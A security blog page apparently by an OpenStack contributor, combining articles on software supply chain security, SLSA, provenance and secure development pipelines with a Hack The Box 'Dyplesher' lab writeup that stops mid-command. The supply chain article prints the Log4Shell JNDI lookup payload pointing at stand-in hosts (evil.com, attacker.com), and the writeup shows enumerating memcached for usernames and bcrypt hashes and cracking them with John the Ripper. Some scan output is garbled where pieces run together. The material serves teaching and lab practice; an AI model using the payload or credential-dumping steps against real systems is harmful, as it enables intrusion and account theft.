# Welcome to egonzalez blog My name is Eduardo Gonzalez, also know as egonzalez in OpenStack and NFV communities and xNaaro in hacking groups. I'm a passionate Open Source advocate who has been independently contributing to OpenStack for over 4 years, served as Project Team Lead (PTL) in OpenStack Kolla project and still being a core reviewer. Also I've contributed to many other Open Source projects related to NFV, Python, Ansible, security tools, etc. My main specializations are: * Containerize OpenStack services * Python Software Development * SDN, NFV and Edge integration and deployment * Infrastructure as Code (primarily Ansible) * Docker and k8s * Design and implement complex upgrade procedures Recently I've been pushing hard to increase my skills about hacking, pentesting and bug bounty. Miscellaneous: * I like do code reviews * I like do mentoring * I like innovate and learn new things, routine is boring * Try harder as rule {% content-ref url="/pages/-M1S-F-ZY-OoMSFseu3z" %} [Hacking](/hacking/index) {% endcontent-ref %} {% content-ref url="/pages/ciWayptvojpKfCn0xR1K" %} [Software Supply Chain Security](/software-supply-chain-security/software-supply-chain-security-why-it-matters) {% endcontent-ref %} {% content-ref url="/pages/-M1SHdlVCAwCxw0oRera" %} [DevSecOps](/devsecops/index) {% endcontent-ref %} {% content-ref url="/pages/-M1S3LzTQCUeS0A1ojUO" %} [OpenStack](/openstack/index) {% endcontent-ref %} # Software Supply Chain Security: Why It Matters Software is everywhere—your phone, your computer, even your car. But how safe is it? Today, we talk about **software supply chain security**. It’s a big deal, and if you ignore it, you’re asking for trouble. ## **What Is Software Supply Chain?** Think of software like a recipe. You don’t make everything from scratch. You use ingredients—code libraries, tools, and frameworks—made by other people. This is the **supply chain**. It’s fast and cheap, but here’s the problem: if one ingredient is bad, your whole dish is ruined. In software, a “bad ingredient” means bugs, weak spots, or even hidden attacks. ## **Why Should You Care?** Hackers love weak supply chains. They don’t attack your code—they attack the stuff you borrow. Remember the **SolarWinds attack** in 2020? Bad guys slipped malware into a software update. Big companies and governments got hit. Or take **Log4j**, a tiny library. One flaw in it messed up millions of systems. These aren’t small problems—they cost money, time, and trust. ## **The Risks Are Real** 1. **Open-Source Danger**: Free code sounds great, but no one checks it all. Hackers can hide stuff there. 2. **Updates Gone Wrong**: You trust updates to fix things. Sometimes, they break things instead. 3. **Third-Party Mess**: You use tools from other companies. If they’re sloppy, you pay the price. ## **How to Protect Yourself** Don’t just sit there—do something. Here’s what works: * **Know What You Use**: Make a list of every library, tool, and plugin in your software. No list, no control. * **Check It**: Use tools to scan for weak spots. There are plenty out there—pick one. * **Update Fast**: Old code is a hacker’s dream. Keep everything fresh, but test updates first. * **Trust Less**: Don’t grab code from random places. Stick to sources you know. * **Lock It Down**: Sign your code. It proves it’s yours and not tampered with. ## **It’s Not Optional** Governments and big companies are waking up. Rules like the **EU Cyber Resilience Act** say you must secure your supply chain. If you don’t, you’ll get fines—or worse, hacked. Customers won’t wait either. They want safe software, not excuses. ## **Final Words** Software supply chain security isn’t fancy—it’s basic survival. You wouldn’t eat food from a dirty kitchen. Don’t use code from a messy supply chain. Start now, or regret it later. *09/03/2025* # Software Supply Chain Security: A Technical Deep Dive Let’s get into the gritty details of **software supply chain security**. This isn’t just about ideas—it’s about code, tools, and how things break. ## What’s in the Supply Chain? Your software isn’t built from nothing. It’s a mix of: * **Source Code**: What you write. * **Dependencies**: Libraries like `numpy`, `requests`, or `log4j`. You pull these from places like PyPI, npm, or Maven. * **Build Tools**: Compilers, packagers (e.g., `gcc`, `webpack`), and CI/CD pipelines (e.g., Jenkins, GitHub Actions). * **Third-Party Stuff**: APIs, cloud services, or pre-built binaries. Every piece is a link. If one fails, the chain collapses. ## How Attacks Happen Hackers don’t always smash your front door—they sneak through the back. Here’s how: 1. **Dependency Poisoning**: They upload a fake package to npm or PyPI with a name like `reqeusts` (see the typo?). You grab it by mistake—boom, malware. 2. **Compromised Updates**: They hack a legit project (e.g., SolarWinds) and inject code into an update. You install it, thinking it’s safe. 3. **Build System Takeover**: They hit your CI/CD pipeline. Think of the **Codecov breach**—hackers stole credentials and messed with builds. 4. **Old Vulnerabilities**: You use \`log4j 2.14\`. A flaw (CVE-2021-44228) lets hackers run code remotely. One line—\`${jndi:ldap\://[evil.com/a}\`](http://evil.com/a%7D)—and you’re done. ## Technical Risks * **Transitive Dependencies**: You use Library A. It uses Library B. B has a flaw. You’re screwed, even if A looks clean. * **Unsigned Code**: No signature? No proof it’s legit. Anyone could’ve tampered with it. * **Misconfigured Tools**: Your Docker image pulls from `latest`. Hackers replace it with junk. Game over. * **Weak Provenance**: You don’t know where that `.jar` file came from. Was it GitHub or some shady server? ## Mitigation: The Tech Way Here’s how to fight back, step by step. 1. **Software Bill of Materials (SBOM)** * What: A list of every component in your software (e.g., `cyclonedx` or `SPDX` format). * How: Tools like `syft` or `Dependency-Track` scan your project and spit out an SBOM. * Why: You can’t fix what you don’t know. 2. **Dependency Scanning** * What: Check for known vulnerabilities. * Tools: `Dependabot` (GitHub), `Snyk`, `OWASP Dependency-Check`. * Example: Run `snyk test` on your `package.json`. It flags `lodash < 4.17.21` (CVE-2021-23337). * Fix: Update to a safe version (`npm install lodash@latest`). 3. **Code Signing** * What: Cryptographic proof your code is yours. * How: Use GPG or Sigstore. Sign a release with `gpg --sign myapp.tar.gz`. * Verify: `gpg --verify myapp.tar.gz.sig`. If it’s tampered, it fails. 4. **Lock Down Builds** * What: Make builds repeatable and safe. * How: Use lock files (`package-lock.json`, `Pipfile.lock`) and pin versions (e.g., `requests==2.28.1`, not `requests>=2.28`). * Extra: Run builds in isolated containers (Docker) with `--network none`. 5. **Provenance Tracking** * What: Prove where code came from. * How: Tools like `in-toto` or SLSA (Supply-chain Levels for Software Artifacts). * Example: SLSA Level 1 requires a build script. Level 3 needs a trusted builder (e.g., Google’s Borg). 6. **Patch Fast** * What: Fix flaws ASAP. * How: Monitor CVEs (e.g., NVD database) and patch. For Log4j, upgrade to `2.17.1`. * Test: Use a staging environment first—don’t break production. ## Real-World Example: Log4j * **Problem**: \`log4j-core\` versions 2.0–2.14.1 had a flaw. A string like \`${jndi:ldap\://[attacker.com/a}\`](http://attacker.com/a%7D) triggered remote code execution. * **Attack**: Hacker sends this in a chat message. Your app logs it. They own your server. * **Fix**: Update to `2.17.1`, disable JNDI lookups (`log4j2.formatMsgNoLookups=true`), or ditch Log4j for something lighter. * **Lesson**: One tiny library can burn everything down. ## Tools You Need * **Static Analysis**: `SonarQube` or `CodeQL` to spot bad patterns. * **Container Scanning**: `Trivy` or `Clair` for Docker images. * **Runtime Protection**: `Falco` to catch weird behavior in production. * **Verification**: `cosign` (Sigstore) for signing containers. ## Standards Are Coming * **SLSA**: Google’s framework. Levels 1–4, from basic logging to tamper-proof builds. * **EU CRA**: By 2025, you’ll need SBOMs and audits for critical software. Non-compliance? Fines. * **NIST SSDF**: US guidelines for secure development. Follow it or lose contracts. ## Wrap-Up Software supply chain security is a beast. It’s not just “update and pray.” You need tools, processes, and discipline. One weak link—say, an unpatched `openssl`—and hackers win. Dig into your dependencies, sign your builds, and scan everything. It’s hard work, but the alternative is worse. # SLSA and the Software Supply Chain Security: Time to Get Serious The software supply chain is a disaster waiting to happen. SolarWinds got hit hard, Log4j blew up in everyone’s face, and dependencies keep turning into attack vectors. If you think your app’s safe because you’ve got basic defenses, think again—the real risk is in the pipeline that delivers your code. SLSA (Supply Chain Levels for Software Artifacts) is a framework to lock it down. Let’s dig into what it is and why it matters. ## **What Is SLSA?** SLSA isn’t a tool you install—it’s a set of rules to secure software artifacts (source code, builds, dependencies, binaries) from start to finish. It came from Google’s Binary Authorization for Borg and is now part of the OpenSSF. The idea’s simple: stop attackers from messing with your software by proving where it came from and how it was made. It’s broken into four levels, 0 to 4, each stepping up the security game: * **Level 0**: No protection. Your code’s wide open. * **Level 1**: Basic provenance. You’ve got a log of the build process, but it’s not enforced. * **Level 2**: Signed provenance from an automated build. Harder to tamper with, but not bulletproof. * **Level 3**: Serious controls. Isolated build environments, multi-party review, and trustworthy metadata. * **Level 4**: Top-tier. Hermetic builds, full reproducibility, and cryptographic guarantees. Each level builds on the last, making it tougher for someone to sneak in and ruin your day. ## **Why the Supply Chain’s a Problem** Your software’s only as good as its weakest link. A 2023 Sonatype report showed supply chain attacks on open-source projects spiked 430% in three years. Attackers don’t need to breach your app—they can just compromise a library or hijack a build step. SLSA focuses on three key pieces: 1. **Provenance**: Where did this artifact come from? Who built it? 2. **Integrity**: Has it been altered since it was created? 3. **Reproducibility**: Can you rebuild it and get the exact same thing? Ignore these, and you’re gambling every time you pull in a dependency or push a release. ## **How SLSA Works: The Tech Details** Picture a CI/CD pipeline—like GitHub Actions building a Docker image. At Level 0, you’ve got no idea if that image is legit. Level 1 gives you a build log—nice, but it doesn’t stop tampering. Level 2 automates the build, signs the output with something like Cosign (Sigstore’s keyless signing), and attaches metadata tied to a specific commit hash. Level 3 steps it up: run the build in an isolated VM with no network access, verify every dependency’s hash, and enforce two-person approval on config changes. Level 4 goes all-in—hermetic builds (no external calls) using tools like Bazel or Nix, bit-for-bit reproducibility, and full provenance signed with ECDSA or Ed25519 keys. Take Log4Shell as an example. At Level 3, Log4j could’ve shipped with signed provenance linking to the exact source and build env—any mismatch flags a problem. Level 4’s hermetic builds might’ve stopped malicious code from sneaking in during compilation. Too bad that wasn’t standard back then. ## **The Challenges** SLSA isn’t easy. Here’s what you’re up against: * **Build Rework**: Level 2 needs automation—your manual scripts won’t cut it. Level 4’s hermetic builds mean rethinking everything. * **Reproducibility Headaches**: Matching checksums across builds is a nightmare if your pipeline’s sloppy. * **Resource Drain**: Level 3 and 4 demand serious infra—small teams and open-source projects might struggle. * **Ecosystem Gaps**: If your dependencies aren’t SLSA-compliant, you’re still exposed. Plus, the strictness can slow down your DevOps flow. It’s a trade-off: security versus speed. ## **Where It’s Headed** SLSA’s still growing. Sigstore’s simplifying signing, OpenSSF’s pushing tools, and the spec’s getting sharper. Start with Level 1—document your builds, sign something with GPG or Cosign. Aim for Level 2 if you can handle it. The ecosystem’s moving fast, and attackers aren’t slowing down. Bottom line: SLSA’s a tough but critical fix for a supply chain that’s been vulnerable too long. It’s time to stop messing around and secure your software properly. # Provenance # Understanding Provenance in Software Supply Chain Security ## **What Is Provenance?** Provenance is a record that tracks the origin and history of something. In the context of software supply chain security, it means knowing exactly where every piece of your software comes from. Think of it as a trail: it shows who wrote the code, what tools were used to build it, and what steps were taken to make the final product. Why does this matter? Software supply chains are complex. A single app might use code from many developers, libraries from the internet, and tools from different companies. If one part is insecure—like a library with hidden malware—it can put the whole software at risk. Provenance helps us check that every piece is safe and trustworthy. ## **Why Provenance Is Important for Security** Imagine you’re at a grocery store picking out food for dinner. You look at a pack of chicken. You want to know it’s fresh and safe to eat, right? So, you check the label—it tells you where the chicken came from, when it was packed, and maybe even the farm it was raised on. If the label is missing or looks suspicious, you might not trust it. What if it’s been sitting in a dirty warehouse for weeks? Or worse, what if someone tampered with it and added something harmful? Without that information, you’re taking a risk with every bite. Provenance is the same for software—it’s the label that tells you the story of what you’re using. Without it, you might download code from an unknown source, like picking up a mystery meat with no packaging. That code could have hidden bugs or malware, just like spoiled food could make you sick. With provenance, you get the full picture: who raised this “software chicken,” how it was “cooked,” and whether it’s safe to “eat.” By tracking provenance, companies can: * **Find risks**: See if any part of the software comes from an untrusted source, like a shady supplier with no history. * **Fix problems fast**: If something goes wrong—like a stomachache from bad food—they can trace it back to the source, whether it’s a buggy library or a hacked tool. * **Build trust**: Customers and users feel safer knowing the software is secure, just like you feel better eating food from a brand you recognize. In short, provenance is your guarantee that the software won’t “poison” your system, much like a food label protects your health. ## **How to Implement Provenance in Software Supply Chain Security** So, how do you "do" provenance? It’s not hard, but it takes planning. Here are some practical steps to get started: 1. **Document Everything** \ Keep a record of every component in your software. This includes the code you write, third-party libraries, and tools you use. For example, note the version of a library (like "v1.2.3") and where you got it from (like a trusted website). 2. **Use a Software Bill of Materials (SBOM)** \ An SBOM is a list of all the "ingredients" in your software. It’s like a recipe that says, “This app uses these libraries, this framework, and these tools.” In GitLab, add a CI/CD job to generate it with CycloneDX: ``` sbom_generate: stage: build script: - cyclonedx-bom -o bom.xml artifacts: paths: - bom.xml ``` 3. **Sign Your Code** \ Use digital signatures to prove who created the software. A signature is like a seal—it shows the code hasn’t been changed by someone else. In GitLab, enable GPG signing in Settings > GPG Keys, then sign commits 4. **Automate the Process** \ GitLab can automate provenance using its CI/CD pipelines and the GitLab Runner. Since version 15.1, the runner can generate provenance metadata if you set the `RUNNER_GENERATE_ARTIFACTS_METADATA` variable. Here’s an example in your `.gitlab-ci.yml`: ``` build_job: variables: RUNNER_GENERATE_ARTIFACTS_METADATA: "true" stage: build script: - python setup.py sdist artifacts: paths: - dist/ ``` When this job runs on a GitLab Runner (version 15.1 or higher), it produces a metadata file (e.g., `$JOB_ID-artifacts-metadata.json`) alongside your artifacts. This file follows the SLSA provenance format and includes details like the commit SHA, build time, and runner info. 5. **Verify Before Use** \ Before adding a new library, check its provenance. 6. **Store Provenance Securely** \ Keep your provenance records safe. GitLab stores the metadata file as an artifact automatically. You can also upload it to the **Package Registry** for long-term access or share it securely with your team. ## **SLSA: A Framework for Provenance** SLSA, or **Supply Chain Levels for Software Artifacts**, is a special framework to make software supply chains safer. It was inspired by real-world attacks, like the SolarWinds hack, where bad code slipped into trusted software. SLSA uses levels (0 to 4) to show how secure a software’s supply chain is, and provenance is a key part. Here’s how SLSA works with provenance: * **Level 0**: No provenance—just basic software with no records. * **Level 1**: Basic provenance, like a list of sources, generated manually or automatically. * **Level 2**: Provenance is generated by a secure build system (e.g., GitLab runners) and signed. * **Level 3**: Adds strict rules, like tamper-proof storage and verified build processes. * **Level 4**: The highest level, with full security and audits. For example, in GitLab, you can aim for Level 1 by generating an SBOM and provenance file in your pipeline. For Level 2, use signed commits and a dedicated GitLab runner. SLSA makes provenance stronger, helping you fight supply chain attacks. ## **Challenges and Tips** Implementing provenance isn’t always easy. Some challenges include: * **Old software**: Legacy code might not have good records. * **Third-party code**: Libraries from others can be hard to track. * **Time and cost**: Setting it up takes effort. To make it smoother, start small. Use provenance for new projects first, then add provenance to older ones. Work with your team to agree on tools and processes, and keep learning as you go. ## **Conclusion** Provenance is a key part of software supply chain security. It helps us know where our software comes from and ensures it’s safe to use. By documenting components, using SBOMs, signing code, and automaton, companies can protect their software from risks. With frameworks like SLSA, provenance gets even stronger, giving us clear rules to follow. In a world where cyber threats are growing, provenance is like a shield—it builds trust and keeps us secure. So, next time you build or use software, ask: “Where did this come from?” With provenance, you’ll have the answer. # Building a secure development framework ## Introduction If you are reading this post, it is probable you hold the position of developer security champion in your team, serve as software factory manager or are responsible of the software supply chain security. Regardless of your role, this post will guide you through the process of establishing a secure development framework, incorporating elements of software supply chain security and DevSecOps, both of which are integral components of the secure development framework. ## What is a secure development framework A secure development framework outlines the steps and requirements that each team involved in the software development process within a company must adhere. While it typically does not prescribe specific tools, it focuses on requirements due the changing nature of software development, This implies that a framework cannot mandate the use of a particular tool, as such tools are often language-specific, and enforcing their use could hinder the company's growth and adaptability. There are many existing frameworks out there, but none specific to your business needs. How you build our own framework is what makes the difference of just passing regulations or really addressing software security seriously. Existing frameworks such as SSDF defines basic requirements, but you need to adjust to specific languages, culture, business logic, legal regulations or standards, etc This guide will be a resume of the basics every framework should contain along with a few more advanced cases to improve the supply chain security as well. I'm going to wrap the phases for this framework in the following list, not necessarily in any order. * Education and culture * Business requirements * Design * Developer environment * Source code management * CI/CD * Artifact management * Vulnerability management, monitoring and maintenance Any of this phases should and must be decomposed into many other inner phases, they're typically the steps almost any modern SDLC have. Let's review the phases and their specific focus on the S-SDLC ### Education and culture The primary factor in developing secure software is whether developers are aware of potential vulnerabilities and, more importantly, if they are committed to prioritizing security over convenience in the development process. Even the most skilled and efficient developer cannot be considered a competent asset to any reputable software company if they lack knowledge about SQL injection attacks, do not know how to address them, or, crucially, lack the willingness to learn how to resolve such issues. This does not mean, every developer should be an expert penetration tester. They just needs basic understanding of common vulnerabilities such as OWASP top ten. The role of the company and security champions is to provide resources and teach devs from the beginning of their software developer career. There are many free resources as well as paid training, I suggest first start with free courses from The Linux Foundation, reading OWASP documentation, blogs specific for the language in use, YouTube videos are good source of knowledge and permit/encourage senior developers teach graduates and mid-seniority roles. Typically you will encounter some people that do not want to apply security first and will attempt to ignore the rules, this can be from the more seniors to the recent graduates. Usually both think they know everything and do every piece of code perfect (Spoiler: Don't), don't let this type of people mark the security about your software and by result the business reliability. How to deal with this profile? Let them know there are priorities, don't rush too much on the release cadence times so they can start applying security, show them how their insecurity code could be exploited, etc. ### Business requirements Next area is business requirements, talk to the product owners, understand what are their needs and make a clear understanding what are the project's requirements in terms of security and risk management. There may be some projects that require minimal level of security requirements while other will need high levels of security. If the product owner or manager doesn't know what they need, talk to them, analyze the business logic and go deeper until all of you find what are the business needs. Now we're going into the technical aspects, this is the part everybody want to start, but if you don't know the business requirements you cannot ever design a secure application. ### Design At this step, you should know what are the business requirements. Now you start thinking about languages, APIs, databases, etc. First step in the design phase is: #### Secure by design Start from the beginning with security, don't apply patches once everything is working. This will reduce money expenses as well as avoid keeping insecure stuff in the SDLC. Ensure TLS is enforced early on development, strong authentication is used in place, proper network segregation is implemented and try to implement zero trust architecture unless impossible. #### Threat modeling Along with the software design, threat modeling should be applied early. Knowing what the boundaries and risks are from the start will allow to focus on the most important ones. Threat modeling also serves as method to better understand the application logic and think on improved software features, not just security wise. ### Developer environment During this phase, software developers will have reticence for some changes. We will define if developers should have full permissions on their development environments or limited permissions, we need to define if external artifacts should be reachable or limited to certain packages in an internal repository. In the most critical environments, laptops will have no extra privileges and packages should come from an internal registry very very limited where packages are reviewed, tested and validated security wise. Find the best for your needs, do not allow free will to hinder your decision; make a choice in a intermediate spot. Limiting what an user can do, also will improve security of their laptops and by extension the software security. Having a common registry with static packages, but also a proxied artifact repository to store cache and do automatic testing of packages will also help improve software security. As example of this could be a Jfrog artifactory proxying npm official repository with xray configured to analyze and block malicious packages, only used in development environment while stable packages are promoted to the static repository. Next part for developers is define a company or team standard for software styling, this means keep a common code style. Every developer should adhere to this internal standard and must be verified during Pull/Merge request pipelines. To make it easier and less hardware intensive in CI/CD, enforce usage of `pre-commit-hooks`, so changes and failures are raised early before committing to remote repository. In this pre-commit-hooks, apply security as well. Add the language-specific SAST tool to verify insecure code is never pushed. In the same manner, add secret detection checks to avoid passwords and tokens are stored in git history. ### Source Code Management Source code management takes an important role to secure software, not just by remote shared development but avoiding insecure or malicious code ever get to main branches. To protect SCM, first enforce usage of commit signing, this will ensure committed code was by the expected author. Apply strict branch rules: * No one is allowed to directly push to main branches * Disable force push even for admins Ensure merge requests rules: * Code should be reviewed by a minimum of 2 unless is a small team * Cannot approve self merges * CI/CD pipelines should pass correctly * If repository code if shared between teams, ensure CODEOWNERS rules apply correctly * Pipeline code cannot be modified in same merge (avoid leaking or introducing unexpected data) ### CI/CD An important part of the supply chain security are CI/CD pipelines, this need to be secured and logged as production/critical services, since they serve the purpose of building the important software artifacts. For this purpose, CI/CD should have the following rules: * Every CI job should be isolated from each other, an example is use containers for each job * Runners should be hardened with minimal permissions and network access * No privileged process can be executed from a CI/CD job * No cache is stored, to avoid cache poisoning * Git strategy should be clone instead of fetch, this also avoid cache poisoning on the git side * Ensure container image policy is always, this avoids usage of cached images without permissions. In the more strict environments the additional rules could be added: * Network isolation * Duplicated builds on different systems Along with this general rules, one of the key rule is **ensure no secrets or sensitive data is executed in unverified (not protected branches) pipelines.** This means that in pipelines from merge requests or push to feature branches, no secrets, no sensitive data and no artifact build is done without passing the verification on the merge request or without repository owner manual approval, this will avoid malicious actors to run a pipelines exposing secrets on forks or in development branches. For source code security we will see 3 methods: #### Static testing This is where a specific OSS or commercial tool executes heuristic analysis over the source code to verify its logic is not insecure. It does not execute the application. Examples are validating that no user defined unprocessed variable is passed into a SQL query. During static testing usually are executed unit and linting testing too. #### Dynamic testing During dynamic tests, the application is executed and is validated its real behavior. Examples of this are DAST to verify security testing, API testing, FUZZ testing, functional testing, etc. #### Dependencies testing We must ensure no insecure package is provided or used by our software. SCA or software composition analysis is made during CI to ensure packages with vulnerabilities are not used, or update to newer version. Typically use a bot to automatically update dependencies by MR when new releases are available, this help keep software up to date and avoid large headaches when upgrading all the project dependencies. Keep software dependencies pinned by version or hash, to avoid dependency attacks or unexpected behaviors with new versions. ### Artifact management Once the application is tested, verified and approved, software artifacts are usually created. This is an critical part to secure, since the artifacts are the applications that will be running in our production or customer servers. They should have the code it is expected to have. How do we ensure this? * Artifact signing * Build attestations * Provenance * SBOM and VEX creation With artifact signing we ensure the application is created by the expected process (CI/CD runner), with attestations we can verify the CI/CD build is created by the expected source code, expected input data and expected output binaries. With SBOMS and VEX, if we sell or release software outside the company we can notify consumers what software is included and its dependencies, as well as what are the vulnerabilities and if they can be exploited, not applicable or fixed by other methods. This gains value as software transparency and provides consumers the view we take security seriously. SBOMs also serve as a method to easily identify components where a specific package with a vulnerability is present, easing vulnerability patching. ### Vulnerability management, monitoring and maintenance Once we have a product ready to be released (actually this work should be done since the beginning), we must ensure that no vulnerability is exploitable, and if so, have a logging record to be able to trace where,when and how happened. For this reason, logging should be applied to all requests with user ID, IPs and request data (except sensitive). If its a web application a WAF service should be added in place to limit common attack vectors. From software security perspective, general rules should be added: * Vulnerability management * Vulnerability disclosure programs * Risk management * Pen testing * Runtime analysis for unexpected behavior * Threat intelligence ## Existing frameworks Existing frameworks and standards are all over the net, the most notorious are: * NIST's Secure Software Development Framework (SSDF) * BSA Framework for Secure Software * Microsoft’s Security Development Life cycle ## Example pipeline for a python project Here is an example of a logical pipeline for a python project, with example tooling. ```yaml Test: Linting: - pep8 - pylint SAST: - bandit - semgrep secrets: - git-secrets - trufflehof unit tests: - unittest - pytest Build: Functional test API testing UI testing DAST: - OWASP ZAP - burpsuit - Custom implementation Release: Package build: - python -m build Package sign: - cosing - notary Signature verification Artifact upload Promote: Artifact release: - pypi - git artifacts ``` # Index This section is for hacking techniques, writeups and tools. {% content-ref url="/pages/-MCXWD0s6TKcIT\_NXPHB" %} [Hack the box writeups](/hacking/index/hack-the-box-writeups) {% endcontent-ref %} {% content-ref url="/pages/-M1S-F-dxEyPiF8jxnZK" %} [Hacking cheatsheet](/hacking/index/command-cheatsheet) {% endcontent-ref %} {% content-ref url="/pages/-M4AMQuw6R896MiM98eZ" %} [Python Vulnerabilities](/hacking/index/python-vulnerabilities) {% endcontent-ref %} # Hack the box writeups {% content-ref url="/pages/-MKaAqRVGhRefTkXoK0X" %} [Dyplesher HTB writeup](/hacking/index/hack-the-box-writeups/dyplesher-htb-writeup) {% endcontent-ref %} {% content-ref url="/pages/-MEDoofsZubxRF\_CD-4A" %} [Fatty HTB writeup](/hacking/index/hack-the-box-writeups/fatty-htb-writeup) {% endcontent-ref %} {% content-ref url="/pages/-MDe6sEJtM2tbww1\_xsO" %} [Oouch HTB writeup](/hacking/index/hack-the-box-writeups/oouch-htb-writeup) {% endcontent-ref %} {% content-ref url="/pages/-MCXWMiBIPsHbIJ-GN1c" %} [Sauna HTB writeup](/hacking/index/hack-the-box-writeups/sauna) {% endcontent-ref %} # Dyplesher HTB writeup ![Dyplesher Image](https://www.hackthebox.eu/storage/avatars/eab2ccffece8cdfa57d0743164b9776e.png) Dyplesher was my very first Insane Hack The Box machine. Drove me nuts to find an initial foothold and root wasn't much harder than a medium/hard box. ## Enum Enumeration was the part where I spend most of the time, was overlooking into the wrong places and ignored the correct. ### NMAP results Below results of NMAP, we can see SSH, HTTP, RabbitMQ, EPMD Memcached and minecraft-server services running, also an unknown service running on port 3000. ```bash Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-24 18:11 CEST Initiating Ping Scan at 18:11 Scanning 10.10.10.190 [2 ports] Completed Ping Scan at 18:11, 0.04s elapsed (1 total hosts) Initiating Connect Scan at 18:11 Scanning 10.10.10.190 [65535 ports] Discovered open port 22/tcp on 10.10.10.190 Discovered open port 80/tcp on 10.10.10.190 Discovered open port 4369/tcp on 10.10.10.190 Discovered open port 25672/tcp on 10.10.10.190 Discovered open port 25562/tcp on 10.10.10.190 Connect Scan Timing: About 43.48% done; ETC: 18:12 (0:00:40 remaining) Discovered open port 25565/tcp on 10.10.10.190 Discovered open port 5672/tcp on 10.10.10.190 Discovered open port 3000/tcp on 10.10.10.190 Discovered open port 11211/tcp on 10.10.10.190 Completed Connect Scan at 18:12, 54.76s elapsed (65535 total ports) Nmap scan report for 10.10.10.190 Host is up (0.038s latency). Not shown: 65525 filtered ports, 1 closed port Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp 4369/tcp open epmd 5672/tcp open amqp 11211/tcp open memcache 25562/tcp open unknown 25565/tcp open minecraft 25672/tcp open unknown Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 54.82 seconds ``` Result of common nmap scripts against open ports. ```bash [*] Running NMAP scripts to open ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-24 18:12 CEST Nmap scan report for 10.10.10.190 Host is up (0.037s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 7e:ca:81:78:ec:27:8f:50:60:db:79:cf:97:f7:05:c0 (RSA) | 256 e0:d7:c7:9f:f2:7f:64:0d:40:29:18:e1:a1:a0:37:5e (ECDSA) |_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Dyplesher 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gogs=fb94a4c063bb0bd3; Path=/; HttpOnly | Set-Cookie: _csrf=iJaOmeRYfWmehMyijQzQEZ3Jk706MTU5MDMzNjc3Njg3Njg2NTM0MA%3D%3D; Path=/; Expires=Mon, 25 May 2020 16:12:56 GMT; HttpOnly | Date: Sun, 24 May 2020 16:12:56 GMT | | | | | | | | | | | | | | | | | | | | | | |_ ..." to update what will be committed) (use "git restore ..." to discard changes in working directory) deleted: README.md deleted: index.php no changes added to commit (use "git add" and/or "git commit -a") ``` As we can see, the repo have two removed files, we can undo them using `git checkout --` ```bash git checkout -- README.md git checkout -- index.php ``` README.md haven't had any useful information, but index.php showed us an auth connection for memcached on port 11211 ```markup $ cat index.php

Add key and value to memcache

setOption(Memcached::OPT_BINARY_PROTOCOL, true);
  $m->setSaslAuthData("felamos", "XXXXXXXXXXXXX");
  $m->addServer('127.0.0.1', 11211);
  $m->add($_GET['add'], $_GET['val']);
  echo "Done!";
}
else {
  echo "its equal";
}
?>
``` Also we can see the repository pointing to a remote server, this part give us a clue what could be inside Gogs git server. ```bash $ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = http://localhost:3000/felamos/memcached.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master fatal: this operation must be run in a work tree ``` ### Memcached enumeration Now that we have memcached credentials, is time to enumerate and find something useful. As the server is using SASL auth, we cannot use netcat nor telnet. So I installed memcached tools and check the status of the server. ```bash $ memcstat --username felamos --password XXXXXXXXX --servers 10.10.10.190 Server: 10.10.10.190 (11211) pid: 1 uptime: 1756 time: 1591198925 version: 1.6.5 libevent: 2.1.8-stable .... .... lru_bumps_dropped: 0 ``` This confirmed credentials worked, now proceed to check slabs ```bash $ memcstat --username felamos --password XXXXXXXXX --servers 10.10.10.190 --args slabs Server: 10.10.10.190 (11211) 1:chunk_size: 96 1:chunks_per_page: 10922 1:total_pages: 1 1:total_chunks: 10922 1:used_chunks: 1 .... .... active_slabs: 4 total_malloced: 4194304 ``` Next is to check how many items are stored in the cache, was 4 items in my case. ```bash $ memcstat --username felamos --password XXXXXXXXX --servers 10.10.10.190 --args items Server: 10.10.10.190 (11211) items:1:number: 1 .... items:3:number: 1 .... items:5:number: 1 .... items:6:number: 1 .... ``` Then tried to list the keys, but wasn't able to see then in any way. At this point tried to guess how the keys would be, tried things like email, user, password. `username` key worked and gave us 3 users. ```bash $ memccat --debug --username felamos --password XXXXXXXXX --servers 10.10.10.190 username key: username flags: 0length: 24 value: MinatoTW felamos yuntao ``` As username worked, tried password and it worked, giving us 3 bcrypt hashes. ```bash $ memccat --debug --username felamos --password XXXXXXXXX --servers 10.10.10.190 password key: password flags: 0length: 182 value: $2a$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxJa $2y$12$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxQK $2a$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxlS ``` John the ripper gave us 1 password out of the 3 hashes we got. ```bash $ john passwd.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096 Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status xxxxxxxx (?) ``` ### Gogs Working password was for felamos user on Gogs service. Once logged in, we can see there was 2 repositories: memcached with same contents as we downloaded previously in the other web service and a gitlab repository. We couldn't see anything useful on the repository itself, but there was a release package with a zip file ready to download. At this point, once the zip file downloaded and unzipped. We can locally clone the contents of an existing @hashed directory. ```bash $ git clone 